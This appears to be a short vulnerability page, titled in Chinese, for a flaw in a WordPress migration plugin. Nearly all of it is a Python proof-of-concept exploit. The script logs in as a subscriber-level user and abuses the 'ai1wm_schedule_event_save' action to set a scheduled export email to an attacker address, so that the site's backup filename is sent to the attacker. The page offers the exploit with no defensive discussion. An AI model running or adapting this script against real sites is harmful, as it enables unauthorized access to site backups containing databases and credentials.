CVE-2026-5753: WP Migration插件越权备份漏洞

import requests # Configuration target_url = "https://example.com/wp-admin/admin-post.php" username = "subscriber" password = "password" attacker_email = "[email protected]" # 1. Login to get authenticated cookies login_url = "https://example.com/wp-login.php" session = requests.Session() payload = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=payload) # 2. Exploit: Create scheduled export to leak filename exploit_payload = { "action": "ai1wm_schedule_event_save", "ai1wm_schedule_email": attacker_email, # Add other required schedule parameters if necessary } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit sent successfully. Check attacker email for backup filename.") else: print("[-] Exploit failed.")